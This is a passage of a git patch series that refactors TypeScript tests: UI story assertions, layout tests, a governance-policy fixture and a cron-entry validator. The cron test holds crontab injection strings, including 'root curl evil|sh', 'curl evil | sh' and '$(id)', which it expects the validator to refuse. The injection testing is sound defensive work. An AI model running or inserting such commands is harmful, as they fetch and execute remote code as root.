*")).toBe(true); - expect(command.test("jobs scrape --all")).toBe(true); + test("regex shapes accept real entries and reject injection", async () => { + expect(await loadCron([entry])).toEqual([entry]); // Newline injection into a root crontab line, and shell metacharacters. - expect(schedule.test("0 6 * * *\n0 0 * * * root curl evil|sh")).toBe(false); - expect(command.test("jobs scrape\n0 0 * * * root sh -c evil")).toBe(false); - expect(command.test("jobs scrape; curl evil | sh")).toBe(false); - expect(command.test("jobs scrape $(id)")).toBe(false); - expect(command.test("jobs scrape `id`")).toBe(false); - expect(name.test("scrape\nroot")).toBe(false); + const refused: [Partial, string][] = [ + [{ schedule: "0 6 * * *\n0 0 * * * root curl evil|sh" }, "cron schedule must be a 5-field expression"], + [{ command: "jobs scrape\n0 0 * * * root sh -c evil" }, "cron command must be a plain"], + [{ command: "jobs scrape; curl evil | sh" }, "cron command must be a plain"], + [{ command: "jobs scrape $(id)" }, "cron command must be a plain"], + [{ command: "jobs scrape `id`" }, "cron command must be a plain"], + [{ name: "scrape\nroot" }, "cron name must be kebab-case"], + ]; + for (const [field, message] of refused) { + const failure = await loadCron([{ ...entry, ...field }]).then(() => null, (error: Error) => error.message); + expect(failure).toContain(message); + } }); }); diff --git a/packages/core/tests/video-completions.test.ts b/packages/core/tests/video-completions.test.ts index d950a16ed9..7392ba1d93 100644 --- a/packages/core/tests/video-completions.test.ts +++ b/packages/core/tests/video-completions.test.ts @@ -72,6 +72,23 @@ afterEach(() => { const provider = () => geminiCompletions({ apiKeyEnv: KEY, model: "fictional-gemini-model" }); const local = (): Extract => ({ kind: "video", path: join(directory, "odysseus.mp4"), mimeType: "video/mp4" }); +/** + * Run `fn` with the Files API poll interval (the 1000 ms wait between status + * polls in video.ts) moved to the next timer turn; every other timer stays + * real. Returns the poll waits it shortened, so a test can say there was one. + */ +async function withShortPolls(fn: () => Promise): Promise<{ value: T; polls: number }> { + const descriptor = Object.getOwnPropertyDescriptor(globalThis, "setTimeout")!; + const real = descriptor.value as (callback: (...args: unknown[]) => void, delay?: number, ...args: unknown[]) => unknown; + let polls = 0; + Object.defineProperty(globalThis, "setTimeout", { ...descriptor, value: (callback: (...args: unknown[]) => void, delay?: number, ...args: unknown[]) => { + if (delay !== 1000) return real(callback, delay, ...args); + polls++; + return real(callback, 0, ...args); + } }); + try { return { value: await fn(), polls }; } finally { Object.defineProperty(globalThis, "setTimeout", descriptor); } +} + describe("Gemini video request mapping through the real SDK", () => { test("remote URI and clip offsets are exact, prompt remains separate", async () => { const answer = await provider().complete({ prompt: "What is visible?", parts: [{ kind: "video", uri: "https://www.youtube.com/watch?v=Odysseus001", mimeType: "video/mp4", clip: { start: 0, end: 120.5 } }] }); @@ -89,7 +106,8 @@ describe("Gemini video request mapping through the real SDK", () => { }); test("a local path is uploaded, polled ACTIVE, generated and deleted", async () => { processing = true; - await provider().complete({ prompt: "Watch", parts: [local()] }); + const { polls } = await withShortPolls(() => provider().complete({ prompt: "Watch", parts: [local()] })); + expect(polls).toBe(1); expect(events).toEqual(["upload-start", "upload-bytes", "poll", "generate", "delete"]); expect(generated.contents[0].parts[0]).toEqual({ fileData: { fileUri: active().uri, mimeType: "video/mp4" } }); }); From a0aaece34a96ed02a32dd02dcf14ec093e170b59 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:12:18 +0100 Subject: [PATCH 013/252] test(ui-kit): test-health batch e3855-ui-kit-01 (#3864) * test(ui-kit): ComposerMic idle story compares the mic target's edges instead of a boolean Test-Health: th-20261110163707-ce1411#0 * test(ui-kit): DiscButton expanded pill awaits its own transitions instead of a 250 ms sleep Test-Health: th-20261110163707-ce1411#2 * test(ui-kit): PendingFollowUps keyboard story compares both hidden flags Test-Health: th-20261110163707-ce1411#4 * test(ui-kit): TabBar hit-target story measures the expansion from the drawn visual Test-Health: th-20261110163707-ce1411#5 * test(ui-kit): LinkPreviewCard destination story matches the host on the card text Test-Health: th-20261110163707-ce1411#8 * test(ui-kit): QuoteCard fixture precondition matches the strings Test-Health: th-20261110163707-ce1411#11 * test(ui-kit): LaneChart legend story matches the computed colour Test-Health: th-20261110163707-ce1411#12 * test(ui-kit): MessageBubble story asserts the brain turn has no bubble Test-Health: th-20261110163707-ce1411#19 * test(ui-kit): ScreenHeader divider story asserts every variant, not only nav Test-Health: th-20261110163707-ce1411#20 * test(ui-kit): CodeBlock no-wrap story requires the line to overflow before scrolling Test-Health: th-20261110163707-ce1411#22 --- .../stories/agents/LaneChart.stories.tsx | 2 +- .../stories/blocks/CodeBlock.stories.tsx | 3 +++ .../blocks/LinkPreviewCard.stories.tsx | 2 +- .../stories/blocks/QuoteCard.stories.tsx | 2 +- .../stories/chrome/ComposerMic.stories.tsx | 3 ++- .../stories/chrome/DiscButton.stories.tsx | 5 +++-- .../stories/chrome/MessageBubble.stories.tsx | 13 ++++++++++++- .../chrome/PendingFollowUps.stories.tsx | 2 +- .../stories/chrome/ScreenHeader.stories.tsx | 14 +++++++++++--- .../ui-kit/stories/chrome/TabBar.stories.tsx | 19 +++++++++++++------ 10 files changed, 48 insertions(+), 17 deletions(-) diff --git a/packages/ui-kit/stories/agents/LaneChart.stories.tsx b/packages/ui-kit/stories/agents/LaneChart.stories.tsx index 213a21de38..497596e2d2 100644 --- a/packages/ui-kit/stories/agents/LaneChart.stories.tsx +++ b/packages/ui-kit/stories/agents/LaneChart.stories.tsx @@ -51,7 +51,7 @@ export const LegendMatchesTheChart = meta.story({ // the whole visual claim. await expect(getComputedStyle(hatched).color).not.toBe(getComputedStyle(solid).color); // And it really is a fraction of the same hue, not a second colour. - await expect(getComputedStyle(hatched).color.startsWith("rgba(")).toBe(true); + await expect(getComputedStyle(hatched).color).toMatch(/^rgba\(/); }, }); diff --git a/packages/ui-kit/stories/blocks/CodeBlock.stories.tsx b/packages/ui-kit/stories/blocks/CodeBlock.stories.tsx index 535ca38e33..273b9ff6e1 100644 --- a/packages/ui-kit/stories/blocks/CodeBlock.stories.tsx +++ b/packages/ui-kit/stories/blocks/CodeBlock.stories.tsx @@ -43,6 +43,9 @@ export const NoWrap = Default.extend({ const pre = canvasElement.querySelector("pre")!; await userEvent.tab(); await expect(pre).toHaveFocus(); + // The line is kept whole, so there is something to scroll: a wrapped block + // has no overflow, and scrolling it "to the end" would pass at 0. + await expect(pre.scrollWidth - pre.clientWidth, "the line overflows rather than wrapping").toBeGreaterThan(20); pre.scrollLeft = pre.scrollWidth; await waitFor(() => expect(Math.abs(pre.scrollWidth - pre.clientWidth - pre.scrollLeft)).toBeLessThanOrEqual(1)); }, diff --git a/packages/ui-kit/stories/blocks/LinkPreviewCard.stories.tsx b/packages/ui-kit/stories/blocks/LinkPreviewCard.stories.tsx index 66477d33c8..2a2b6829e9 100644 --- a/packages/ui-kit/stories/blocks/LinkPreviewCard.stories.tsx +++ b/packages/ui-kit/stories/blocks/LinkPreviewCard.stories.tsx @@ -113,7 +113,7 @@ export const Destination = meta.story({ play: async ({ canvas, canvasElement }) => { const card = await canvas.findByRole("region", { name: "Link to ithaca-harbour.example" }); // The host is the first text in the card, and the card is not itself a target. - await expect(card.textContent!.startsWith("ithaca-harbour.example")).toBe(true); + await expect(card.textContent).toMatch(/^ithaca-harbour\.example/); await expect(canvasElement.querySelector('[role="button"], [tabindex="0"]')).toBeNull(); await expect(canvas.getByText("Title and summary by the brain · page not opened or checked")).toBeVisible(); const open = canvas.getByRole("link", { name: "Open ithaca-harbour.example in a new tab" }); diff --git a/packages/ui-kit/stories/blocks/QuoteCard.stories.tsx b/packages/ui-kit/stories/blocks/QuoteCard.stories.tsx index 8eb97534e0..4c35f8bf86 100644 --- a/packages/ui-kit/stories/blocks/QuoteCard.stories.tsx +++ b/packages/ui-kit/stories/blocks/QuoteCard.stories.tsx @@ -57,7 +57,7 @@ export const LongUnbrokenRunWraps = meta.story({ play: async ({ canvas, canvasElement }) => { await expect(longUrl.length).toBe(200); await expect(longNote.length).toBe(200); - await expect(/\s/.test(longUrl + longNote)).toBe(false); + await expect(longUrl + longNote).not.toMatch(/\s/); const quote = canvas.getByText(longUrl); const card = quote.parentElement!; diff --git a/packages/ui-kit/stories/chrome/ComposerMic.stories.tsx b/packages/ui-kit/stories/chrome/ComposerMic.stories.tsx index 268c7fc2c0..49e0d45bd4 100644 --- a/packages/ui-kit/stories/chrome/ComposerMic.stories.tsx +++ b/packages/ui-kit/stories/chrome/ComposerMic.stories.tsx @@ -53,7 +53,8 @@ export const Idle = meta.story({ const box = mic.getBoundingClientRect(); await expect([box.width, box.height], "the 44px target").toEqual([44, 44]); const outer = field(canvasElement).getBoundingClientRect(); - await expect(box.top >= outer.top && box.bottom <= outer.bottom, "the target stays inside the border").toBe(true); + await expect(box.top, "the target stays inside the top border").toBeGreaterThanOrEqual(outer.top); + await expect(box.bottom, "the target stays inside the bottom border").toBeLessThanOrEqual(outer.bottom); const disc = centre(canvasElement.querySelector(".bk-voice-mic-disc")!); for (const name of ["Attach — photo, camera, files", "Send"]) { await expect(Math.abs(centre(canvas.getByRole("button", { name })) - disc), `${name} centred on the mic`).toBeLessThanOrEqual(0.5); diff --git a/packages/ui-kit/stories/chrome/DiscButton.stories.tsx b/packages/ui-kit/stories/chrome/DiscButton.stories.tsx index 7d53527225..a0698f7e61 100644 --- a/packages/ui-kit/stories/chrome/DiscButton.stories.tsx +++ b/packages/ui-kit/stories/chrome/DiscButton.stories.tsx @@ -119,8 +119,9 @@ export const PairNewChatExpanded = meta.story({ if (!matchMedia("(prefers-reduced-motion: reduce)").matches) { await expect(getComputedStyle(label).transitionDuration, "the pill opens over 150ms").toContain("0.15s"); } - // 150ms under normal motion, none under reduced motion. - await new Promise((resolve) => setTimeout(resolve, 250)); + // Wait for the pill's own transitions rather than a guess at their length: + // 150ms under normal motion, none (an empty list) under reduced motion. + await Promise.all(newChat.getAnimations({ subtree: true }).map((animation) => animation.finished)); const after = rect(newChat); await expect(after.width, "the pill widens the box").toBeGreaterThan(before.width + 40); await expect(after.right, "it grows leftward").toBe(before.right); diff --git a/packages/ui-kit/stories/chrome/MessageBubble.stories.tsx b/packages/ui-kit/stories/chrome/MessageBubble.stories.tsx index 86bfb50c42..73959f982f 100644 --- a/packages/ui-kit/stories/chrome/MessageBubble.stories.tsx +++ b/packages/ui-kit/stories/chrome/MessageBubble.stories.tsx @@ -24,11 +24,13 @@ export const User = meta.story({}); * bubble would say "a message"; a full-column answer says "this is the document * you asked for", and the trace line is what makes that claim checkable. */ +const BRAIN_ANSWER = "Circe named her on Aeaea, the morning you sailed — six heads, six men, one pass. You did not tell the crew."; + export const Brain = User.extend({ args: { role: "brain", trace: answerTrace, - text: "Circe named her on Aeaea, the morning you sailed — six heads, six men, one pass. You did not tell the crew.", + text: BRAIN_ANSWER, }, }); @@ -59,10 +61,19 @@ export const Wide = User.extend({ parameters: wide }); * and a border, a brain turn has neither. */ export const OnlyTheUserGetsABubble = meta.story({ + render: () => ( + <> + + + + ), play: async ({ canvas }) => { const user = (await canvas.findByText(userMessage)) as HTMLElement; await expect(getComputedStyle(user).borderTopWidth).toBe("1px"); await expect(getComputedStyle(user).backgroundColor).not.toBe("rgba(0, 0, 0, 0)"); + const brain = (await canvas.findByText(BRAIN_ANSWER)) as HTMLElement; + await expect(getComputedStyle(brain).borderTopWidth, "a brain turn has no border").toBe("0px"); + await expect(getComputedStyle(brain).backgroundColor, "a brain turn has no background").toBe("rgba(0, 0, 0, 0)"); }, }); diff --git a/packages/ui-kit/stories/chrome/PendingFollowUps.stories.tsx b/packages/ui-kit/stories/chrome/PendingFollowUps.stories.tsx index 889bc0d090..e63654f302 100644 --- a/packages/ui-kit/stories/chrome/PendingFollowUps.stories.tsx +++ b/packages/ui-kit/stories/chrome/PendingFollowUps.stories.tsx @@ -113,7 +113,7 @@ export const Keyboard = meta.story({ play: async ({ canvas, canvasElement }) => { const [first, second] = canvas.getAllByRole("button"); const texts = [...canvasElement.querySelectorAll("[data-follow-up-text]")]; - await expect(texts.every((t) => t.hidden)).toBe(true); + await expect(texts.map((t) => t.hidden)).toEqual([true, true]); await userEvent.tab(); await expect(document.activeElement).toBe(first); await waitFor(() => expect(texts[0]!.hidden).toBe(false)); diff --git a/packages/ui-kit/stories/chrome/ScreenHeader.stories.tsx b/packages/ui-kit/stories/chrome/ScreenHeader.stories.tsx index 06f408af65..cf9940e1fa 100644 --- a/packages/ui-kit/stories/chrome/ScreenHeader.stories.tsx +++ b/packages/ui-kit/stories/chrome/ScreenHeader.stories.tsx @@ -71,9 +71,17 @@ export const Wide = Title.extend({ parameters: wide }); * from `nav` as well. */ export const DividerBelongsToNav = meta.story({ args: { variant: "nav", title: "run #4c1" }, - play: async ({ canvasElement }) => { - const header = canvasElement.querySelector("div > div")!; - await expect(getComputedStyle(header).borderBottomStyle).toBe("solid"); + render: (args) => ( +
+ + + + +
+ ), + play: async ({ canvas }) => { + const rules = [...canvas.getByTestId("headers").children].map((header) => getComputedStyle(header).borderBottomStyle); + await expect(rules, "nav ruled; title, hero and nav with divider: false not").toEqual(["solid", "none", "none", "none"]); }, }); diff --git a/packages/ui-kit/stories/chrome/TabBar.stories.tsx b/packages/ui-kit/stories/chrome/TabBar.stories.tsx index e49d734e51..fdc66e752f 100644 --- a/packages/ui-kit/stories/chrome/TabBar.stories.tsx +++ b/packages/ui-kit/stories/chrome/TabBar.stories.tsx @@ -81,13 +81,19 @@ export const HitTargetIsExact = meta.story({ // The design's README predicts "~33px tall visual -> 51px hit". The // visual is the icon (20) + gap (3) + the label's line box, so the claim - // worth asserting is the EXPANSION, which is exactly 18 and 28. - const inner = { h: box.height - 18, w: box.width - 28 }; - await expect(box.height - inner.h).toBe(18); - await expect(box.width - inner.w).toBe(28); + // worth asserting is the EXPANSION, which is exactly 18 and 28: measured + // from the drawn visual, the icon above and the wider of icon and label + // across, not from the box it is supposed to have grown. + const icon = tab.querySelector("svg")!.getBoundingClientRect(); + const label = document.createRange(); + label.selectNode([...tab.childNodes].find((node) => node.nodeType === Node.TEXT_NODE)!); + const visualWidth = Math.max(icon.width, label.getBoundingClientRect().width); + await expect(icon.top - box.top, "9px of reach above the icon").toBeCloseTo(9, 1); + await expect(box.width - visualWidth, "28px of reach across the visual").toBeCloseTo(28, 1); // And the README's 51 is the real number at this width, within a pixel // of font metrics. - await expect(box.height > 50 && box.height < 52).toBe(true); + await expect(box.height).toBeGreaterThan(50); + await expect(box.height).toBeLessThan(52); } // The expansion overlaps nothing at phone width: a probe one pixel inside @@ -127,7 +133,8 @@ export const NeighbourGapIsWideEnough = meta.story({ // Border boxes are the expanded ones; the VISUALS are 14px inside each. gaps.push(b.left + 14 - (a.right - 14)); } - for (const gap of gaps) await expect(gap >= 28).toBe(true); + await expect(gaps).toHaveLength(4); + for (const gap of gaps) await expect(gap).toBeGreaterThanOrEqual(28); }, }); From 5dcd831e9e1b7b7ff97a18cdf916f6d5d6a108be Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:12:47 +0100 Subject: [PATCH 014/252] test(ui-server): governance-policy fixture records policy through the production recorder, asserts the closed manifest row and awaits turn ends Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#1 --- .../ui-server/tests/governance-policy.test.ts | 29 +++++++++---------- 1 file changed, 13 insertions(+), 16 deletions(-) diff --git a/packages/ui-server/tests/governance-policy.test.ts b/packages/ui-server/tests/governance-policy.test.ts index 9a21e148fd..c57f62611f 100644 --- a/packages/ui-server/tests/governance-policy.test.ts +++ b/packages/ui-server/tests/governance-policy.test.ts @@ -47,7 +47,8 @@ function fixture(options: { writer?: boolean; slowPolicyRecord?: boolean } = {}) // With a writer, admission records commit on it, as in the app (#2850). const writer = options.writer ? openSqliteWriter(db) : undefined; if (writer) cleanup.push(() => { void writer.close(); }); - const records = writer ? procedureCaller(db, governedTurnWrites, undefined, writer) : undefined; + // The production recorder (#2758): on the writer when there is one, inline on this connection otherwise. + const records = procedureCaller(db, governedTurnWrites, undefined, writer); const exposures = writer ? createProviderExposures(db, writer) : undefined; const execution = createHostExecution({ brainPath: brain, dbPath, exec: {} }); execution.attach(db, writer); const notices: string[] = []; @@ -55,10 +56,8 @@ function fixture(options: { writer?: boolean; slowPolicyRecord?: boolean } = {}) const turns = createGovernedTurns({ nativeManager: createNativeJournalFixture(brain, root).client, brainPath: brain, execution, profile: "governed", maskPaths: [], index: async () => {}, report: message => notices.push(message), peerFolderPlanWaitMs: 300, ...(exposures ? { exposures } : {}), - recordPolicy: (turnId, origin, profile, policy) => records - ? (options.slowPolicyRecord ? void slowCommit(writer!, 300) : undefined, records("recordPolicy", turnId, origin, profile, policy.hash, policy.source, JSON.stringify(policy.policy), JSON.stringify(policy.errors), 1)) - : void db.query("INSERT INTO turn_governance_policy (turn_id, origin, profile, policy_hash, source, policy, errors, admitted_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?)") - .run(turnId, origin, profile, policy.hash, policy.source, JSON.stringify(policy.policy), JSON.stringify(policy.errors), 1) }); + recordPolicy: (turnId, origin, profile, policy) => + (options.slowPolicyRecord ? void slowCommit(writer!, 300) : undefined, records("recordPolicy", turnId, origin, profile, policy.hash, policy.source, JSON.stringify(policy.policy), JSON.stringify(policy.errors), 1)) }); return { brain, path, write, db, execution, notices, turns, writer, exposures }; } @@ -162,18 +161,18 @@ test("confirmed session preference tightens the next actual worker without chang const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: strict.sandbox, startupView: strict.startupView, env: {}, command: ["/bin/sh", "-c", 'if printf attack > harbor.md; then exit 41; fi; printf STRICT_SESSION_WRITE_REFUSED'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(worker.exitCode, worker.stderr.toString()).toBe(0); expect(worker.stdout.toString()).toBe("STRICT_SESSION_WRITE_REFUSED"); - } finally { strict.end(); active.end(); } + } finally { await strict.end(); await active.end(); } const other = await f.turns.begin("preference-other", signal, "interactive", "governed"); - expect(other.sandbox.profile).toBe("governed"); other.end(); + expect(other.sandbox.profile).toBe("governed"); await other.end(); const voice = await f.turns.begin("preference-voice", signal, "voice", "strict"); - expect(voice.sandbox.profile, "SESSION_PROFILE_VOICE_IGNORES_INTERACTIVE_PREFERENCE").toBe("governed"); voice.end(); + expect(voice.sandbox.profile, "SESSION_PROFILE_VOICE_IGNORES_INTERACTIVE_PREFERENCE").toBe("governed"); await voice.end(); f.write("profiles: { interactive: strict }"); const facts = f.turns.facts(); expect(facts.policyProfile).toBe("strict"); f.write("unknown: true"); const locked = await f.turns.begin("preference-policy-lock", signal, "interactive", "governed"); expect(locked.sandbox.profile, "SESSION_PROFILE_POLICY_LOWER_BOUND").toBe("strict"); - expect(locked.policy.hash).toBe(facts.policy.hash); locked.end(); + expect(locked.policy.hash).toBe(facts.policy.hash); await locked.end(); }); @@ -473,14 +472,12 @@ test("a governed turn's admission records have committed when admission settles, const f = fixture({ writer: true }); f.write("profiles: { interactive: governed }"); const hold = await f.turns.begin("ithaca-records", new AbortController().signal); - const policy = f.db.query("SELECT profile FROM turn_governance_policy WHERE turn_id = 'ithaca-records'").get() as { profile: string } | null; - expect(policy, "ADMISSION_POLICY_RECORD_COMMITTED_BEFORE_ADMISSION_SETTLES").not.toBeNull(); - const governed = policy!.profile === "governed"; - const manifest = () => f.db.query("SELECT ended_at FROM governed_turn_manifests WHERE turn_id = 'ithaca-records'").get() as { ended_at: number | null } | null; - if (governed) expect(manifest(), "ADMISSION_MANIFEST_COMMITTED_BEFORE_ADMISSION_SETTLES").toEqual({ ended_at: null }); + const policy = f.db.query("SELECT profile FROM turn_governance_policy WHERE turn_id = 'ithaca-records'").get(); + expect(policy, "ADMISSION_POLICY_RECORD_COMMITTED_BEFORE_ADMISSION_SETTLES").toEqual({ profile: "governed" }); + const manifest = () => f.db.query("SELECT ended_at FROM governed_turn_manifests WHERE turn_id = 'ithaca-records'").get(); + expect(manifest(), "ADMISSION_MANIFEST_COMMITTED_BEFORE_ADMISSION_SETTLES").toEqual({ ended_at: null }); await hold.end(); - if (governed) expect(manifest()?.ended_at, "ADMISSION_MANIFEST_CLOSE_COMMITTED_BEFORE_END_SETTLES").not.toBeNull(); - expect(governed, "ADMISSION_FIXTURE_IS_GOVERNED").toBe(true); + expect(manifest(), "ADMISSION_MANIFEST_CLOSE_COMMITTED_BEFORE_END_SETTLES").toEqual({ ended_at: expect.any(Number) }); }); test("an exposure read waits for every exposure write submitted before it (#2850)", async () => { From f8f551b5b6da0f8d01716f38cecac17d193e1fe2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:14:54 +0100 Subject: [PATCH 015/252] test(ui-kit): module settings asserts the seeded optional location record Test-Health: th-20261110180640-b26dac#0 --- packages/ui-kit/tests/visual/module-settings.visual.tsx | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/packages/ui-kit/tests/visual/module-settings.visual.tsx b/packages/ui-kit/tests/visual/module-settings.visual.tsx index f56e40e363..6b3c402ab9 100644 --- a/packages/ui-kit/tests/visual/module-settings.visual.tsx +++ b/packages/ui-kit/tests/visual/module-settings.visual.tsx @@ -345,7 +345,8 @@ test("jobs nested drafts preserve tiers through reorder, reject extra currency d expect(host.textContent).not.toContain("Use at most 2 decimals"); expect((savedDraft(store.getState()).scoring as { groups: Array>; compensationBenchmark?: unknown; location?: unknown }).compensationBenchmark).toBe(12000001); flushSync(() => button(doc, "Score location").click()); - expect((savedDraft(store.getState()).scoring as { groups: Array>; compensationBenchmark?: unknown; location?: unknown }).location).toBeDefined(); + // Turning the optional record on seeds each required leaf from its kind: a number starts at 1, tags start empty. + expect((savedDraft(store.getState()).scoring as { groups: Array>; compensationBenchmark?: unknown; location?: unknown }).location, "Score location seeds a complete location record").toEqual({ weight: 1, preferred: [], excluded: [] }); flushSync(() => button(doc, "Score location").click()); expect((savedDraft(store.getState()).scoring as { groups: Array>; compensationBenchmark?: unknown; location?: unknown }).location).toBeUndefined(); flushSync(() => button(doc, "One keyword list").click()); From da2bbc48bb01a5b92def649432f8b29346e63aff Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:30:08 +0100 Subject: [PATCH 016/252] test(ui-react): worker host notice layout runs each width once, in one theme Test-Health: th-20261110182050-6072af#0 --- .../browser/worker-host-notice.layout.tsx | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/packages/ui-react/tests/browser/worker-host-notice.layout.tsx b/packages/ui-react/tests/browser/worker-host-notice.layout.tsx index 5d7dfa02ab..cb7b58b4ad 100644 --- a/packages/ui-react/tests/browser/worker-host-notice.layout.tsx +++ b/packages/ui-react/tests/browser/worker-host-notice.layout.tsx @@ -1,8 +1,9 @@ // The worker host notice (#1632) on the mounted Composer, in real Chromium // with the consumer styles: it sits above the field inside the composer's -// column at phone and desktop widths in both themes, wraps a long probe -// requirement without overflowing, keeps a 44px "Check again" target, and -// leaves the composer usable. No network: the root's fixture transport +// column at phone and desktop widths, wraps a long probe requirement without +// overflowing, keeps a 44px "Check again" target, and leaves the composer +// usable. One theme: nothing in the notice's geometry depends on it, and +// Storybook owns light/dark parity. No network: the root's fixture transport // answers /api/status and the re-check. import { afterAll, afterEach, beforeAll, expect, test } from "vitest"; import { commands, page, userEvent } from "vitest/browser"; @@ -67,9 +68,9 @@ async function mount(width: number, theme: "light" | "dark", workerHost: WorkerH return { host, frames, checks }; } -for (const width of [320, 1280]) for (const theme of ["light", "dark"] as const) { - test(`${width} ${theme}: the notice sits above a usable composer and clears on Check again`, async () => { - const { host, frames, checks } = await mount(width, theme); +for (const width of [320, 1280]) { + test(`${width}: the notice sits above a usable composer and clears on Check again`, async () => { + const { host, frames, checks } = await mount(width, "light"); await expect.poll(() => host.querySelector("[data-worker-host-notice]")).not.toBeNull(); const notice = host.querySelector("[data-worker-host-notice]")!; const composer = host.querySelector("[data-composer]")!; @@ -101,9 +102,9 @@ for (const width of [320, 1280]) for (const theme of ["light", "dark"] as const) // A root-run server (#1638): the warning stands above the composer, wraps at // phone width, and leaves the composer usable. Turns still run. const ROOT: WorkerHostStatus = { ...UP, rootServer: { warning: "The server runs as root (uid 0), so its agent workers do too." } }; -for (const width of [320, 1280]) for (const theme of ["light", "dark"] as const) { - test(`${width} ${theme}: the root server notice sits above a usable composer`, async () => { - const { host, frames } = await mount(width, theme, ROOT, ROOT); +for (const width of [320, 1280]) { + test(`${width}: the root server notice sits above a usable composer`, async () => { + const { host, frames } = await mount(width, "light", ROOT, ROOT); await expect.poll(() => host.querySelector("[data-root-server-notice]")).not.toBeNull(); expect(host.querySelector("[data-worker-host-notice]")).toBeNull(); const notice = host.querySelector("[data-root-server-notice]")!; From af2671322a0417c4842796ff69ce1d84435456a7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:33:37 +0100 Subject: [PATCH 017/252] test(ui-kit): overlay names its own title, sheet adapters pair theme with width, readable reach failures Test-Health: th-20261110180640-b26dac#1 --- packages/ui-kit/tests/visual/native-buttons.visual.tsx | 2 +- packages/ui-kit/tests/visual/overlay-targets.visual.tsx | 2 +- packages/ui-kit/tests/visual/overlay.visual.tsx | 2 +- packages/ui-kit/tests/visual/sheet-adapters.visual.tsx | 5 +++++ 4 files changed, 8 insertions(+), 3 deletions(-) diff --git a/packages/ui-kit/tests/visual/native-buttons.visual.tsx b/packages/ui-kit/tests/visual/native-buttons.visual.tsx index 409cca48ac..74b85feee1 100644 --- a/packages/ui-kit/tests/visual/native-buttons.visual.tsx +++ b/packages/ui-kit/tests/visual/native-buttons.visual.tsx @@ -90,7 +90,7 @@ for (const size of ["sm", "md"] as const) { // The reach stops at 44px: 1px past it belongs to neither Button. const box = buttons[0]!.getBoundingClientRect(); const past = document.elementFromPoint(box.left + box.width / 2, box.top + box.height / 2 - (coarse ? 23 : box.height / 2 + 1)); - expect(buttons.some(button => button.contains(past)), "nothing past the target").toBe(false); + expect(buttons.filter(button => button.contains(past)).map(button => button.textContent), "nothing past the target").toEqual([]); }); // A mouse click, not a tap: Chromium's touch adjustment snaps a tap near a // control onto it, so a tap passes with no reach at all. The mixed lane has diff --git a/packages/ui-kit/tests/visual/overlay-targets.visual.tsx b/packages/ui-kit/tests/visual/overlay-targets.visual.tsx index 2304c0c2a7..56268c729b 100644 --- a/packages/ui-kit/tests/visual/overlay-targets.visual.tsx +++ b/packages/ui-kit/tests/visual/overlay-targets.visual.tsx @@ -135,7 +135,7 @@ for (const theme of ["dark", "light"]) { await userEvent.keyboard("{Tab}"); expect(document.activeElement, "Search precedes New chat").toBe(newChat); // Reduced motion: the pill is open in the same frame, with no transition. - expect(getComputedStyle(label).transitionDuration.split(",").every((d) => d.trim() === "0s"), "no transition under reduced motion").toBe(true); + expect(getComputedStyle(label).transitionDuration.split(",").map((d) => d.trim()).filter((d) => d !== "0s"), "no transition under reduced motion").toEqual([]); const after = rect(newChat!); expect(rect(label).width, "focus prints the word").toBeGreaterThan(30); expect(after.right, "the pill grows leftward").toBe(before.right); diff --git a/packages/ui-kit/tests/visual/overlay.visual.tsx b/packages/ui-kit/tests/visual/overlay.visual.tsx index 19109f39fd..d7b8e43e68 100644 --- a/packages/ui-kit/tests/visual/overlay.visual.tsx +++ b/packages/ui-kit/tests/visual/overlay.visual.tsx @@ -148,7 +148,7 @@ for (const variant of scenes) for (const width of [320,1280]) for (const mode of else { expect(r.width, "shape width").toBe(480); expect(Math.abs(r.left - (width - r.right))).toBeLessThanOrEqual(1); expect(Math.abs(r.top - (innerHeight-r.bottom))).toBeLessThanOrEqual(1); } expect(document.documentElement.scrollWidth, 'no sideways scroll').toBe(width); expect(q('.bk-overlay').getAnimations({subtree:true}), 'reduced motion').toEqual([]); - const title = q('[aria-labelledby]'); expect(document.getElementById(title.getAttribute('aria-labelledby')!)!.textContent!.length).toBeGreaterThan(0); + const title = q('[aria-labelledby]'); expect(document.getElementById(title.getAttribute('aria-labelledby')!)?.textContent, 'the surface is named by its own title').toBe('Odysseus reviews the mast and yard for the raft on Ogygia'); if (kind === 'fullscreen') { const close = surface.querySelector('[role="button"]')!; expect(close.textContent, 'fullscreen has a visible close control').toContain('Close raft plan'); diff --git a/packages/ui-kit/tests/visual/sheet-adapters.visual.tsx b/packages/ui-kit/tests/visual/sheet-adapters.visual.tsx index 3dd00dcbd4..a9d2740d28 100644 --- a/packages/ui-kit/tests/visual/sheet-adapters.visual.tsx +++ b/packages/ui-kit/tests/visual/sheet-adapters.visual.tsx @@ -86,6 +86,11 @@ for (const site of ["working", "pending", "model"] as const) for (const theme of expect(sheet(site)!.getBoundingClientRect().width, "the modal escapes its 280px size container").toBe(width); expect(sheet(site)!.closest('[data-theme]')!.dataset.theme, "the sheet inherits its subtree theme").toBe(theme); }); + // Storybook owns light and dark parity (docs/process/theme-parity.md). The + // trap, stacking and caller wiring below never read the theme, so each width + // runs in one theme: dark at 320, light at 1280. Entry above keeps all four, + // because subtree theme inheritance is its claim. + if ((width === 320) !== (theme === "dark")) continue; test(`sheet Tab wraps inside: ${scene}`, async () => { await mount(site, width, theme); await open(site); const items = stops(site); expect(items.length, "nonempty trap").toBeGreaterThan(1); From 979a73ce6cb1b360cd6d2f6f83907071a5eca7ee Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:36:24 +0100 Subject: [PATCH 018/252] test(core): give each hand-built context-assembler case its own index The cases shared one in-memory index, so a shuffled order let one case's documents answer another's query. Also print values, not booleans, in the assembler, scope and document-parts prefix and membership checks. Test-Health: th-20261110163736-83b662#6 --- packages/core/tests/context-assembler.test.ts | 23 +++++++++++-------- packages/core/tests/context-scope.test.ts | 4 ++-- 